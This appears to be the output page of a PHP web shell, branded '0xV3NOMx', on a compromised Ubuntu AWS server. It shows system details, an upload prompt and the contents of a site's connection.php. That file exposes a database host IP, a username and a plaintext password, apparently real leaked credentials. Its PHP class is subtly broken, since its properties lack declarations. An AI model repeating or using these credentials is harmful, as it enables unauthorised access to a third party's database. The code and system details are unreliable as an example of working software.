0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.138.102.163


Current Path : /proc/thread-self/root/var/www/html/vskub/pgadm/admin/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/vskub/pgadm/admin/src/connection.php

<?php
Class dbObj
{
	/* Database connection start */

	/*var $servername = "localhost";
	var $username = "root";
	var $password = "";
	var $dbname = "test";
	var $conn; */

	$servername = "72.167.46.92";
	$username   = "kusduser";
	$password  = "Logisys@2106";
	$dbname = "resultsg_kusd";
	$conn;

	function getConnstring() 
	{
		$con = mysqli_connect($this->servername, $this->username, $this->password, $this->dbname) or die("Connection failed: " . mysqli_connect_error());

		/* check connection */
		if(mysqli_connect_errno()) 
		{
			printf("Connect failed: %s\n", mysqli_connect_error());
			exit();
		} 
		else 
		{
			$this->conn = $con;
		}
		return $this->conn;
	}
}

?>